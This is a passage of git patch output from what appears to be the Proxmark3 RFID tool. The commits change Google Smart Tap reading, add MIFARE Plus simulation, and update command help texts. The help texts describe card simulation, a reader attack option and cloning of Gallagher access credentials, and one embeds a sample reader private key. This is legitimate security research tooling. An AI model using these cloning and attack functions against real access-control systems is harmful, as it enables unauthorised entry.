gst_read(const gst_read_config_t *cfg) { goto out; } - PrintAndLogEx(INFO, ""); - gst_print_ose_info(&ose_info); + const bool wallet_type_is_android_pay = ose_info.have_wallet_type && + gst_wallet_type_is_android_pay(ose_info.wallet_type, ose_info.wallet_type_len); + const bool wallet_type_is_known_non_android = ose_info.have_wallet_type && !wallet_type_is_android_pay; + + if (cfg->verbose) { + PrintAndLogEx(INFO, ""); + gst_print_ose_info(&ose_info); + } else if (!wallet_type_is_android_pay) { + const char *wallet_type = ose_info.have_wallet_type + ? sprint_ascii(ose_info.wallet_type, ose_info.wallet_type_len) + : "not present"; + PrintAndLogEx(WARNING, "Wallet type............... " _YELLOW_("%s"), wallet_type); + PrintAndLogEx(ERR, "Wallet type is not AndroidPay. This likely isn't Google Smart Tap."); + gst_print_wallet_type_hint(ose_info.wallet_type, ose_info.wallet_type_len); + } bool should_select = gst_should_select_smart_tap(cfg->select_behavior, &ose_info); if (should_select) { @@ -2036,6 +2066,10 @@ static int gst_read(const gst_read_config_t *cfg) { } } if (device_nonce_len == 0) { + if (wallet_type_is_known_non_android) { + status = PM3_ESOFT; + goto out; + } PrintAndLogEx(ERR, "Could not obtain handset/device nonce"); status = PM3_ESOFT; goto out; @@ -2066,16 +2100,18 @@ static int gst_read(const gst_read_config_t *cfg) { goto out; } - PrintAndLogEx(INFO, ""); - PrintAndLogInfoHeader("Negotiate secure channel"); - PrintAndLogEx(INFO, "Collector ID.............. %" PRIu32 " (0x%08" PRIX32 ")", cfg->collector_id, cfg->collector_id); - PrintAndLogEx(INFO, "Long-term key version..... %" PRIu32 " (0x%08" PRIX32 ")", cfg->key_version, cfg->key_version); - PrintAndLogEx(INFO, "Session ID................ " _YELLOW_("%s"), sprint_hex_inrow(session_id_be, sizeof(session_id_be))); - PrintAndLogEx(INFO, "Reader nonce.............. " _YELLOW_("%s"), sprint_hex_inrow(reader_nonce, sizeof(reader_nonce))); - PrintAndLogEx(INFO, "Device nonce.............. " _YELLOW_("%s"), sprint_hex_inrow(device_nonce, device_nonce_len)); - PrintAndLogEx(INFO, "Reader ephemeral pubkey... " _YELLOW_("%s"), sprint_hex_inrow(reader_ephemeral_public_key, sizeof(reader_ephemeral_public_key))); - PrintAndLogEx(INFO, "Reader signature.......... " _YELLOW_("%s"), sprint_hex_inrow(reader_signature, reader_signature_len)); - PrintAndLogEx(INFO, "Live authentication....... %s", cfg->live_authentication ? _GREEN_("yes") : "no"); + if (cfg->verbose) { + PrintAndLogEx(INFO, ""); + PrintAndLogInfoHeader("Negotiate secure channel"); + PrintAndLogEx(INFO, "Collector ID.............. %" PRIu32 " (0x%08" PRIX32 ")", cfg->collector_id, cfg->collector_id); + PrintAndLogEx(INFO, "Long-term key version..... %" PRIu32 " (0x%08" PRIX32 ")", cfg->key_version, cfg->key_version); + PrintAndLogEx(INFO, "Session ID................ " _YELLOW_("%s"), sprint_hex_inrow(session_id_be, sizeof(session_id_be))); + PrintAndLogEx(INFO, "Reader nonce.............. " _YELLOW_("%s"), sprint_hex_inrow(reader_nonce, sizeof(reader_nonce))); + PrintAndLogEx(INFO, "Device nonce.............. " _YELLOW_("%s"), sprint_hex_inrow(device_nonce, device_nonce_len)); + PrintAndLogEx(INFO, "Reader ephemeral pubkey... " _YELLOW_("%s"), sprint_hex_inrow(reader_ephemeral_public_key, sizeof(reader_ephemeral_public_key))); + PrintAndLogEx(INFO, "Reader signature.......... " _YELLOW_("%s"), sprint_hex_inrow(reader_signature, reader_signature_len)); + PrintAndLogEx(INFO, "Live authentication....... %s", cfg->live_authentication ? _GREEN_("yes") : "no"); + } status = gst_build_negotiate_message(reader_nonce, reader_ephemeral_public_key, reader_signature, reader_signature_len, @@ -2111,7 +2147,12 @@ static int gst_read(const gst_read_config_t *cfg) { } } - gst_print_status_line("NEGOTIATE status..........", negotiate_sw); + if (cfg->verbose || negotiate_sw != 0x9000) { + if (!cfg->verbose) { + PrintAndLogEx(INFO, ""); + } + gst_print_status_line("NEGOTIATE status..........", negotiate_sw); + } if (!(negotiate_sw == 0x9000 || negotiate_sw == 0x9002)) { status = PM3_ESOFT; goto out; @@ -2143,9 +2184,16 @@ static int gst_read(const gst_read_config_t *cfg) { } } - PrintAndLogEx(INFO, ""); - PrintAndLogInfoHeader("Get data"); - gst_print_status_line("GET DATA status...........", get_data_sw); + if (cfg->verbose) { + PrintAndLogEx(INFO, ""); + PrintAndLogInfoHeader("Get data"); + } + if (cfg->verbose || get_data_sw != 0x9000) { + if (!cfg->verbose) { + PrintAndLogEx(INFO, ""); + } + gst_print_status_line("GET DATA status...........", get_data_sw); + } if (!gst_status_is_success(get_data_sw)) { status = PM3_ESOFT; goto out; @@ -2167,7 +2215,9 @@ static int gst_read(const gst_read_config_t *cfg) { goto out; } - gst_print_bundle_flags(bundle_flags); + if (cfg->verbose) { + gst_print_bundle_flags(bundle_flags); + } const uint8_t *payload_to_parse = bundle_payload; size_t payload_to_parse_len = bundle_payload_len; @@ -2308,6 +2358,7 @@ static int CmdHFGSTRead(const char *Cmd) { arg_str0(NULL, "select-smarttap2", "", "Whether to perform Smart Tap applet select (default: auto)"), arg_lit0(NULL, "no-live-auth", "Use zeroed handset nonce for reader signature"), arg_lit0("a", "apdu", "Show APDU requests and responses"), + arg_lit0("v", "verbose", "Verbose output"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, true); @@ -2410,6 +2461,7 @@ static int CmdHFGSTRead(const char *Cmd) { cfg.live_authentication = !arg_get_lit(ctx, 9); cfg.apdu_logging = arg_get_lit(ctx, 10); + cfg.verbose = arg_get_lit(ctx, 11); CLIParserFree(ctx); From bd7d0735cefee6c9d7f5b40d40b71cf42c1d2207 Mon Sep 17 00:00:00 2001 From: "Aaron Tulino (Aaronjamt)" Date: Wed, 18 Mar 2026 12:48:22 -0700 Subject: [PATCH 124/162] [hf 14a] Add Mifare Plus card type for sim --- armsrc/iso14443a.c | 5 +++++ client/src/cmdhf14a.c | 7 ++++--- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/armsrc/iso14443a.c b/armsrc/iso14443a.c index 1bddbb130..4b91293e5 100644 --- a/armsrc/iso14443a.c +++ b/armsrc/iso14443a.c @@ -1445,6 +1445,11 @@ bool SimulateIso14443aInit(uint8_t tagType, uint16_t flags, uint8_t *data, } break; } + case 15: { // MIFARE Plus + rATQA[0] = 0x44; + sak = 0x20; + break; + } default: { if (g_dbglevel >= DBG_ERROR) Dbprintf("Error: unknown tagtype (%d)", tagType); return false; diff --git a/client/src/cmdhf14a.c b/client/src/cmdhf14a.c index a584fdbaf..122c182a1 100644 --- a/client/src/cmdhf14a.c +++ b/client/src/cmdhf14a.c @@ -912,12 +912,13 @@ int CmdHF14ASim(const char *Cmd) { "hf 14a sim -t 11 -> Javacard (JCOP)\n" "hf 14a sim -t 12 -> 4K Seos card\n" "hf 14a sim -t 13 -> MIFARE Ultralight C\n" - "hf 14a sim -t 14 -> MIFARE Ultralight AES" + "hf 14a sim -t 14 -> MIFARE Ultralight AES\n" + "hf 14a sim -t 15 -> MIFARE Plus" ); void *argtable[] = { arg_param_begin, - arg_int1("t", "type", "<1-14> ", "Simulation type to use"), + arg_int1("t", "type", "<1-15> ", "Simulation type to use"), arg_str0("u", "uid", "", "<4|7|10> hex bytes UID"), arg_int0("n", "num", "", "Exit simulation after blocks have been read by reader. 0 = infinite"), arg_lit0("x", NULL, "Performs the 'reader attack', nr/ar attack against a reader"), @@ -1005,7 +1006,7 @@ int CmdHF14ASim(const char *Cmd) { } } - if (tagtype > 14) { + if (tagtype > 15) { PrintAndLogEx(ERR, "Undefined tag %d", tagtype); return PM3_EINVARG; } From 6ff7df910d1da464160a00f3e4e48a67413a5ca1 Mon Sep 17 00:00:00 2001 From: kormax <3392860+kormax@users.noreply.github.com> Date: Thu, 19 Mar 2026 18:52:03 +0200 Subject: [PATCH 125/162] Add continuous mode to 'hf gst read' --- client/src/cmdhfgst.c | 56 ++++++++++++++++++++++++++++++++++++------- 1 file changed, 48 insertions(+), 8 deletions(-) diff --git a/client/src/cmdhfgst.c b/client/src/cmdhfgst.c index ad205c4e2..5104d5f70 100644 --- a/client/src/cmdhfgst.c +++ b/client/src/cmdhfgst.c @@ -35,6 +35,7 @@ #include #endif #include "cliparser.h" +#include "cmdhf14a.h" #include "cmdparser.h" #include "cmdtrace.h" #include "commonutil.h" @@ -46,6 +47,7 @@ #include "protocols.h" #include "ui.h" #include "util.h" +#include "util_posix.h" #define GST_MAX_BUFFER 4096 #define GST_MAX_NDEF_BUFFER 2048 @@ -886,12 +888,12 @@ static bool gst_should_select_smart_tap(gst_select_behavior_t behavior, const gs return (!allow_skip || !have_device_nonce); } -static int gst_select_ose(gst_ose_info_t *info, bool keep_field_on) { +static int gst_select_ose(gst_ose_info_t *info, bool activate_field, bool keep_field_on) { uint8_t response[GST_MAX_BUFFER] = {0}; size_t response_len = 0; uint16_t sw = 0; - int res = gst_exchange_chained(true, keep_field_on, 0x00, ISO7816_SELECT_FILE, 0x04, 0x00, + int res = gst_exchange_chained(activate_field, keep_field_on, 0x00, ISO7816_SELECT_FILE, 0x04, 0x00, GST_OSE_AID, sizeof(GST_OSE_AID), response, sizeof(response), &response_len, &sw); if (res != PM3_SUCCESS) { @@ -1896,7 +1898,7 @@ static int gst_extract_record_bundle(const uint8_t *response_data, size_t respon static int gst_info(gst_select_behavior_t select_behavior) { gst_ose_info_t ose_info; - int res = gst_select_ose(&ose_info, true); + int res = gst_select_ose(&ose_info, true, true); if (res != PM3_SUCCESS) { DropField(); return res; @@ -2020,7 +2022,7 @@ static int gst_read(const gst_read_config_t *cfg) { session_id = MemBeToUint8byte(session_id_be); gst_ose_info_t ose_info; - status = gst_select_ose(&ose_info, true); + status = gst_select_ose(&ose_info, false, true); if (status != PM3_SUCCESS) { goto out; } @@ -2344,7 +2346,8 @@ static int CmdHFGSTRead(const char *Cmd) { "hf gst read --cid 20180608 --rpk \"-----BEGIN EC PRIVATE KEY-----\\nMHcCAQEEIIJtF+UHZ7FlsOTZ4zL40dHiAiQoT7Ta8eUKAyRucHl9oAoGCCqGSM49\\nAwEHoUQDQgAEchyXj869zfmKhRi9xP7f2AK07kEo4lE7ZlWTN14jh4YBTny+hRGR\\nXcUzevV9zSSPJlPHpqqu5pEwlv1xyFvE1w==\\n-----END EC PRIVATE KEY-----\"\n" "hf gst read --cid 20180608 --rpk MHcCAQEEIIJtF+UHZ7FlsOTZ4zL40dHiAiQoT7Ta8eUKAyRucHl9oAoGCCqGSM49AwEHoUQDQgAEchyXj869zfmKhRi9xP7f2AK07kEo4lE7ZlWTN14jh4YBTny+hRGRXcUzevV9zSSPJlPHpqqu5pEwlv1xyFvE1w==\n" "hf gst read --collector-id 20180608 --reader-private-key gst.google.der\n" - "hf gst read --collector-id 20180608 --reader-private-key 826d17e50767b165b0e4d9e332f8d1d1e20224284fb4daf1e50a03246e70797d"); + "hf gst read --collector-id 20180608 --reader-private-key 826d17e50767b165b0e4d9e332f8d1d1e20224284fb4daf1e50a03246e70797d\n" + "hf gst read --cid 20180608 --rpk gst.google.der -@"); void *argtable[] = { arg_param_begin, @@ -2357,6 +2360,7 @@ static int CmdHFGSTRead(const char *Cmd) { arg_str0(NULL, "mode", "", "Reader mode (default: pass-over-payment)"), arg_str0(NULL, "select-smarttap2", "", "Whether to perform Smart Tap applet select (default: auto)"), arg_lit0(NULL, "no-live-auth", "Use zeroed handset nonce for reader signature"), + arg_lit0("@", NULL, "continuous mode"), arg_lit0("a", "apdu", "Show APDU requests and responses"), arg_lit0("v", "verbose", "Verbose output"), arg_param_end @@ -2460,14 +2464,50 @@ static int CmdHFGSTRead(const char *Cmd) { } cfg.live_authentication = !arg_get_lit(ctx, 9); - cfg.apdu_logging = arg_get_lit(ctx, 10); - cfg.verbose = arg_get_lit(ctx, 11); + bool continuous = arg_get_lit(ctx, 10); + cfg.apdu_logging = arg_get_lit(ctx, 11); + cfg.verbose = arg_get_lit(ctx, 12); CLIParserFree(ctx); + if (continuous) { + PrintAndLogEx(INFO, "Press " _GREEN_("") " to exit"); + } + bool restore_apdu_logging = GetAPDULogging(); SetAPDULogging(cfg.apdu_logging); - int res = gst_read(&cfg); + + int res = PM3_SUCCESS; + do { + if (continuous && kbd_enter_pressed()) { + break; + } + clearCommandBuffer(); + + int discovery_res = SelectCard14443A_4(false, false, NULL); + if (discovery_res != PM3_SUCCESS) { + if (!continuous) { + PrintAndLogEx(WARNING, "No ISO14443-A card in field"); + } + if (res == PM3_SUCCESS) { + res = discovery_res; + } + msleep(300); + continue; + } + + int iter_res = gst_read(&cfg); + if (iter_res != PM3_SUCCESS && res == PM3_SUCCESS) { + res = iter_res; + } + + if (continuous) { + msleep(3000); + } + PrintAndLogEx(NORMAL, ""); + msleep(300); + } while (continuous); + SetAPDULogging(restore_apdu_logging); return res; } From 6542a355854027dc7a451a016efc137230a0e2e7 Mon Sep 17 00:00:00 2001 From: iceman1001 Date: Fri, 20 Mar 2026 09:31:36 +0700 Subject: [PATCH 126/162] update helptexts --- doc/commands.json | 344 ++++++++++++++++++++++++++++++++++------------ doc/commands.md | 21 ++- 2 files changed, 277 insertions(+), 88 deletions(-) diff --git a/doc/commands.json b/doc/commands.json index fef451727..b6d53affc 100644 --- a/doc/commands.json +++ b/doc/commands.json @@ -1400,12 +1400,13 @@ "hf 14a sim -t 11 -> Javacard (JCOP)", "hf 14a sim -t 12 -> 4K Seos card", "hf 14a sim -t 13 -> MIFARE Ultralight C", - "hf 14a sim -t 14 -> MIFARE Ultralight AES" + "hf 14a sim -t 14 -> MIFARE Ultralight AES", + "hf 14a sim -t 15 -> MIFARE Plus" ], "offline": false, "options": [ "-h, --help This help", - "-t, --type <1-14> Simulation type to use", + "-t, --type <1-15> Simulation type to use", "-u, --uid <4|7|10> hex bytes UID", "-n, --num Exit simulation after blocks have been read by reader. 0 = infinite", "-x Performs the 'reader attack', nr/ar attack against a reader", @@ -1414,7 +1415,7 @@ "--1a1 <8|16> hex bytes ULC/ULAES Auth reply step1: ek(RndB)", "--1a2 <8|16> hex bytes ULC/ULAES Auth reply step2: ek(RndA')" ], - "usage": "hf 14a sim [-hxv] -t <1-14> [-u ] [-n ] [--sk] [--1a1 ] [--1a2 ]" + "usage": "hf 14a sim [-hxv] -t <1-15> [-u ] [-n ] [--sk] [--1a1 ] [--1a2 ]" }, "hf 14a simaid": { "command": "hf 14a simaid", @@ -2273,7 +2274,7 @@ "notes": [ "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-sub-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF", "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --transaction-id 00112233445566778899AABBCCDDEEFF --k-persistent 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --endpoint-public-key 04AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --flow fast -a", - "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key 00112233445566778899AABBCCDDEEFF00112233445566778899AABBCCDDEEFF --step-up-scopes matter1,non_access_extensions" + "hf aliro read --reader-group-id 00112233445566778899AABBCCDDEEFF --reader-private-key ./reader-private-key.pem --step-up-scopes matter1,non_access_extensions" ], "offline": false, "options": [ @@ -2281,14 +2282,14 @@ "-k, --k-persistent, --key-persistent, --kpersistent, --keypersistent, --kp Kpersistent (32 bytes, optional; used for fast cryptogram verification)", "-g, --reader-group-id, --readergroupid, --rgi Reader group identifier (16 bytes)", "-s, --reader-sub-group-id, --readersubid, --rsi Reader subgroup identifier (16 bytes, default: all zeroes)", - "-p, --reader-private-key, --readerprivkey, --rpk Reader private key (32 bytes, P-256)", + "-p, --reader-private-key, --readerprivkey, --rpk Reader private key (P-256): PEM, DER hex, scalar hex/base64, or file path", "-t, --transaction-id, --ti Transaction identifier (16 bytes, optional; random if omitted)", "-e, --endpoint-public-key, --endpointpublickey, --epk Endpoint public key for AUTH0 fast verification (32-byte X or 65-byte uncompressed)", "-f, --flow Transaction flow (default: step-up)", "--step-up-scopes Comma-separated step-up scopes (default: matter1)", "-a, --apdu Show APDU requests and responses" ], - "usage": "hf aliro read [-ha] [-k ] -g [-s ] -p [-t ] [-e ] [-f ] [--step-up-scopes ]" + "usage": "hf aliro read [-ha] [-k ] -g [-s ] -p [-t ] [-e ] [-f ] [--step-up-scopes ]" }, "hf cipurse aread": { "command": "hf cipurse aread", @@ -2724,52 +2725,72 @@ "notes": [ "hf felica auth1 --an 01 --acl 0000 --sn 01 --scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB", "hf felica auth1 --an 01 --acl 0000 --sn 01 --scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBAAAAAAAAAAAAAAAA", - "hf felica auth1 -i 11100910C11BC407 --an 01 --acl 0000 --sn 01 ..scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB" + "hf felica auth1 --idm 11100910C11BC407 --an 01 --acl 0000 --sn 01 ..scl 8B00 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB" ], "offline": false, "options": [ "-h, --help This help", "--an number of areas, 1 byte", "--acl area code list, 2 bytes", - "-i set custom IDm", + "--idm set custom IDm", "--sn number of service, 1 byte", "--scl service code list, 2 bytes", "-k, --key 3des key, 16 bytes", "-v, --verbose verbose output" ], - "usage": "hf felica auth1 [-hv] [--an ] [--acl ] [-i ] [--sn ] [--scl ] [-k ]" + "usage": "hf felica auth1 [-hv] [--an ] [--acl ] [--idm ] [--sn ] [--scl ] [-k ]" }, "hf felica auth2": { "command": "hf felica auth2", "description": "Complete mutual authentication. This command can only be executed subsquent to Auth1 INCOMPLETE / EXPERIMENTAL COMMAND!!! EXPERIMENTAL COMMAND - M2c/P2c will be not checked", "notes": [ "hf felica auth2 --cc 0102030405060708 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB", - "hf felica auth2 -i 11100910C11BC407 --cc 0102030405060708 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB" + "hf felica auth2 --idm 11100910C11BC407 --cc 0102030405060708 --key AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBB" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm", + "--idm set custom IDm", "-c, --cc M3c card challenge, 8 bytes", "-k, --key 3des M3c decryption key, 16 bytes", "-v, --verbose verbose output" ], - "usage": "hf felica auth2 [-hv] [-i ] [-c ] [-k ]" + "usage": "hf felica auth2 [-hv] [--idm ] [-c ] [-k ]" + }, + "hf felica discnodes": { + "command": "hf felica discnodes", + "description": "Dump all existing Area Code and Service Code. Method: auto | request_code_list | search_service_code | request_service | read_without_encryption", + "notes": [ + "hf felica discnodes", + "hf felica discnodes --retry 5", + "hf felica discnodes --method request_service", + "hf felica discnodes --idm 11100910C11BC407" + ], + "offline": false, + "options": [ + "-h, --help This help", + "-r, --retry number of retries", + "-m, --method node discovery method", + "--idm use custom IDm" + ], + "usage": "hf felica discnodes [-h] [-r ] [-m ] [--idm ]" }, "hf felica dump": { "command": "hf felica dump", "description": "Dump all existing Area Code and Service Code. Only works on services that do not require authentication yet.", "notes": [ "hf felica dump", - "hf felica dump --retry 5" + "hf felica dump --retry 5", + "hf felica dump --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", "--no-auth read public services", - "-r, --retry number of retries" + "-r, --retry number of retries", + "--idm use custom IDm" ], - "usage": "hf felica dump [-h] [--no-auth] [-r ]" + "usage": "hf felica dump [-h] [--no-auth] [-r ] [--idm ]" }, "hf felica help": { "command": "hf felica help", @@ -2808,7 +2829,7 @@ "command": "hf felica liteauth", "description": "Authenticate", "notes": [ - "hf felica liteauth -i 11100910C11BC407", + "hf felica liteauth --idm 11100910C11BC407", "hf felica liteauth --key 46656c69436130313233343536616263", "hf felica liteauth --key 46656c69436130313233343536616263 -k", "hf felica liteauth -c 701185c59f8d30afeab8e4b3a61f5cc4 --key 46656c69436130313233343536616263" @@ -2818,10 +2839,10 @@ "-h, --help This help", "--key set card key, 16 bytes", "-c, set random challenge, 16 bytes", - "-i, set custom IDm", + "--idm set custom IDm", "-k, keep signal field ON after receive" ], - "usage": "hf felica liteauth [-hk] [--key ] [-c ] [-i ]" + "usage": "hf felica liteauth [-hk] [--key ] [-c ] [--idm ]" }, "hf felica litedump": { "command": "hf felica litedump", @@ -2832,10 +2853,10 @@ "offline": false, "options": [ "-h, --help This help", - "-i, set custom IDm", + "--idm set custom IDm", "--key set card key, 16 bytes" ], - "usage": "hf felica litedump [-h] [-i ] [--key ]" + "usage": "hf felica litedump [-h] [--idm ] [--key ]" }, "hf felica litesim": { "command": "hf felica litesim", @@ -2876,13 +2897,13 @@ "notes": [ "hf felica rdbl --sn 01 --scl 8B00 --bn 01 --ble 8000", "hf felica rdbl --sn 01 --scl 4B18 --bn 01 --ble 8000 -b", - "hf felica rdbl -i 01100910c11bc407 --sn 01 --scl 8B00 --bn 01 --ble 8000" + "hf felica rdbl --idm 01100910c11bc407 --sn 01 --scl 8B00 --bn 01 --ble 8000" ], "offline": false, "options": [ "-h, --help This help", "-b get all block list elements 00 -> FF", - "-i set custom IDm", + "--idm set custom IDm", "-l, --long use 3 byte block list element block number", "--sn number of service", "--scl service code list", @@ -2890,7 +2911,7 @@ "--ble block list element (def 2|3 bytes)", "-v, --verbose verbose output" ], - "usage": "hf felica rdbl [-hblv] [-i ] [--sn ] [--scl ] [--bn ] [--ble ]" + "usage": "hf felica rdbl [-hblv] [--idm ] [--sn ] [--scl ] [--bn ] [--ble ]" }, "hf felica reader": { "command": "hf felica reader", @@ -2912,29 +2933,29 @@ "notes": [ "hf felica resetmode", "hf felica resetmode -r 0001", - "hf felica resetmode -i 11100910C11BC407" + "hf felica resetmode --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm", + "--idm set custom IDm", "-r set custom reserve", "-v, --verbose verbose output" ], - "usage": "hf felica resetmode [-hv] [-i ] [-r ]" + "usage": "hf felica resetmode [-hv] [--idm ] [-r ]" }, "hf felica rqresponse": { "command": "hf felica rqresponse", "description": "Use this command to verify the existence of a card and its Mode. - current mode of the card is returned", "notes": [ - "hf felica rqresponse -i 11100910C11BC407" + "hf felica rqresponse --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm" + "--idm set custom IDm" ], - "usage": "hf felica rqresponse [-h] [-i ]" + "usage": "hf felica rqresponse [-h] [--idm ]" }, "hf felica rqservice": { "command": "hf felica rqservice", @@ -2942,7 +2963,7 @@ "notes": [ "hf felcia rqservice --node 01 --code FFFF", "hf felcia rqservice -a --code FFFF", - "hf felica rqservice -i 011204126417E405 --node 01 --code FFFF" + "hf felica rqservice --idm 011204126417E405 --node 01 --code FFFF" ], "offline": false, "options": [ @@ -2950,9 +2971,9 @@ "-a, --all auto node number mode, iterates through all nodes 1 < n < 32", "-n, --node Number of Node", "-c, --code Node Code List (little endian)", - "-i, --idm use custom IDm" + "--idm use custom IDm" ], - "usage": "hf felica rqservice [-ha] [-n ] [-c ] [-i ]" + "usage": "hf felica rqservice [-ha] [-n ] [-c ] [--idm ]" }, "hf felica rqspecver": { "command": "hf felica rqspecver", @@ -2960,44 +2981,46 @@ "notes": [ "hf felica rqspecver", "hf felica rqspecver -r 0001", - "hf felica rqspecver -i 11100910C11BC407" + "hf felica rqspecver --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm", + "--idm set custom IDm", "-r set custom reserve", "-v, --verbose verbose output" ], - "usage": "hf felica rqspecver [-hv] [-i ] [-r ]" + "usage": "hf felica rqspecver [-hv] [--idm ] [-r ]" }, "hf felica rqsyscode": { "command": "hf felica rqsyscode", "description": "Use this command to acquire System Code registered to the card. - if a card is divided into more than one System, this command acquires System Code of each System existing in the card.", "notes": [ "hf felica rqsyscode", - "hf felica rqsyscode -i 11100910C11BC407" + "hf felica rqsyscode --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-i set custom IDm" + "--idm set custom IDm" ], - "usage": "hf felica rqsyscode [-h] [-i ]" + "usage": "hf felica rqsyscode [-h] [--idm ]" }, "hf felica scsvcode": { "command": "hf felica scsvcode", "description": "Dump all existing Area Code and Service Code.", "notes": [ "hf felica scsvcode", - "hf felica scsvcode --retry 5" + "hf felica scsvcode --retry 5", + "hf felica scsvcode --idm 11100910C11BC407" ], "offline": false, "options": [ "-h, --help This help", - "-r, --retry number of retries" + "-r, --retry number of retries", + "--idm use custom IDm" ], - "usage": "hf felica scsvcode [-h] [-r ]" + "usage": "hf felica scsvcode [-h] [-r ] [--idm ]" }, "hf felica seacinfo": { "command": "hf felica seacinfo", @@ -3031,20 +3054,20 @@ "description": "Use this command to write block data to authentication-not-required Service. - Mode shall be Mode0. - Un-/Ssuccessful == Status Flag1 and Flag2", "notes": [ "hf felica wrbl --sn 01 --scl CB10 --bn 01 --ble 8001 -d 0102030405060708090A0B0C0D0E0F10", - "hf felica wrbl -i 01100910c11bc407 --sn 01 --scl CB10 --bn 01 --ble 8001 -d 0102030405060708090A0B0C0D0E0F10" + "hf felica wrbl --idm 01100910c11bc407 --sn 01 --scl CB10 --bn 01 --ble 8001 -d 0102030405060708090A0B0C0D0E0F10" ], "offline": false, "options": [ "-h, --help This help", "-d, --data data, 16 hex bytes", - "-i set custom IDm", + "--idm set custom IDm", "--sn number of service", "--scl service code list", "--bn number of block", "--ble block list element (def 2|3 bytes)", "-v, --verbose verbose output" ], - "usage": "hf felica wrbl [-hv] [-d ] [-i ] [--sn ] [--scl ] [--bn ] [--ble ]" + "usage": "hf felica wrbl [-hv] [-d ] [--idm ] [--sn ] [--scl ] [--bn ] [--ble ]" }, "hf fido assert": { "command": "hf fido assert", @@ -3241,29 +3264,37 @@ }, "hf gallagher clone": { "command": "hf gallagher clone", - "description": "Clone Gallagher credentials to a writable DESFire card Specify site key is required if using non-default key Key, lengths for the different crypto: DES 8 bytes 2TDEA or AES 16 bytes 3TDEA 24 bytes AID, default finds lowest available in range 0x??81F4, where ?? >= 0x20.", + "description": "Clone Gallagher credentials to a writable DESFire or MIFARE Classic card Use -c for MIFARE Classic cards Specify site key is required if using non-default key DESFire key lengths for the different crypto: DES 8 bytes 2TDEA or AES 16 bytes 3TDEA 24 bytes AID, default finds lowest available in range 0x??81F4, where ?? >= 0x20.", "notes": [ - "hf gallagher clone --rc 1 --fc 22 --cn 3333 --il 4 --sitekey 00112233445566778899aabbccddeeff" + "hf gallagher clone --rc 1 --fc 22 --cn 3333 --il 4 --sitekey 00112233445566778899aabbccddeeff", + "hf gallagher clone -c --rc 1 --fc 22 --cn 3333 --il 4", + "hf gallagher clone -c --rc 12 --fc 4919 --cn 61453 --il 1 --sector 15 --nomes", + "hf gallagher clone -c --rc 1 --fc 22 --cn 3333 --il 4 --nomad" ], "offline": false, "options": [ "-h, --help This help", - "-n, --keynum PICC key number [default = 0]", - "-t, --algo PICC crypt algo: DES, 2TDEA, 3TDEA, AES", - "-k, --key Key for authentication to the PICC to create applications", + "-c, --classic Write to MIFARE Classic card instead of DESFire", + "-n, --keynum DESFire: PICC key number [default = 0]", + "-t, --algo DESFire: PICC crypt algo", + "-k, --key DESFire: Key for authentication to the PICC", "--rc Region code. 4 bits max", "--fc Facility code. 2 bytes max", "--cn Card number. 3 bytes max", "--il Issue level. 4 bits max", - "--aid Application ID to write (3 bytes) [default automatically chooses]", + "--aid DESFire: Application ID to write (3 bytes) [default auto]", "--sitekey Site key to compute diversified keys (16 bytes)", - "--cadkey Custom AES key 0 to modify the Card Application Directory (16 bytes)", - "--nocadupdate Don't modify the Card Application Directory (only creates the app)", - "--noappcreate Don't create the application (only modifies the CAD)", + "--cadkey DESFire: Custom AES key 0 for CAD (16 bytes)", + "--nocadupdate DESFire: Don't modify the CAD (only creates the app)", + "--noappcreate DESFire: Don't create the app (only modifies the CAD)", "--apdu Show APDU requests and responses", - "-v, --verbose Verbose output" + "-v, --verbose Verbose output", + "--sector Classic: Sector number [default = 15]", + "--cadsector Classic: CAD sector number [default = 0, skip]", + "--nomes Classic: Don't include MIFARE Enhanced Security block", + "--nomad Classic: Don't update the MAD" ], - "usage": "hf gallagher clone [-hv] [-n ] [-t ] [-k ] --rc --fc --cn --il [--aid ] [--sitekey ] [--cadkey ] [--nocadupdate] [--noappcreate] [--apdu]" + "usage": "hf gallagher clone [-hcv] [-n ] [-t ] [-k ] --rc --fc --cn --il [--aid ] [--sitekey ] [--cadkey ] [--nocadupdate] [--noappcreate] [--apdu] [--sector ] [--cadsector ] [--nomes] [--nomad]" }, "hf gallagher decode": { "command": "hf gallagher decode", @@ -3332,10 +3363,11 @@ }, "hf gallagher help": { "command": "hf gallagher help", - "description": "help This help diversifykey Diversify Gallagher key decode Decode Gallagher credential block encode Encode Gallagher credential block --------------------------------------------------------------------------------------- hf gallagher reader available offline: no Read a Gallagher DESFire tag from the Card Application Directory, CAD Specify site key is required if using non-default key", + "description": "help This help diversifykey Diversify Gallagher key decode Decode Gallagher credential block encode Encode Gallagher credential block test Test the function of Gallagher Mifare Core --------------------------------------------------------------------------------------- hf gallagher reader available offline: no Read a Gallagher tag from the Card Application Directory, CAD Specify site key is required if using non-default key", "notes": [ - "hf gallagher reader -@ -> continuous reader mode", - "hf gallagher reader --aid 2081f4 --sitekey 00112233445566778899aabbccddeeff -> skip CAD" + "hf gallagher reader -@ -> DESFIRE(default): 